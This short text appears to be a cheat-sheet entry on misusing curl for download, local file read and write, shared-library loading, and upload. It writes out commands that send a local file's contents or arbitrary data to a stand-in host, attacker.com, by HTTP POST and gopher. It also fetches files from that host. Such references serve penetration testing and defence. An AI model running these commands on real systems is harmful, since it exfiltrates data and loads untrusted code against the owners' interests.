curl

Download

curl http://attacker.com/path/to/input-file -o /path/to/output-file

File Read

curl file:///path/to/input-file

File Write

echo DATA >/path/to/temp-file
curl file:///path/to/temp-file -o /path/to/output-file

Library Load

curl --engine /path/to/lib.so x

Upload

curl -X POST --data-binary @/path/to/input-file http://attacker.com
curl -X POST --data-binary DATA http://attacker.com

Data will be `\r\n` terminated.

curl gopher://attacker.com:12345/_DATA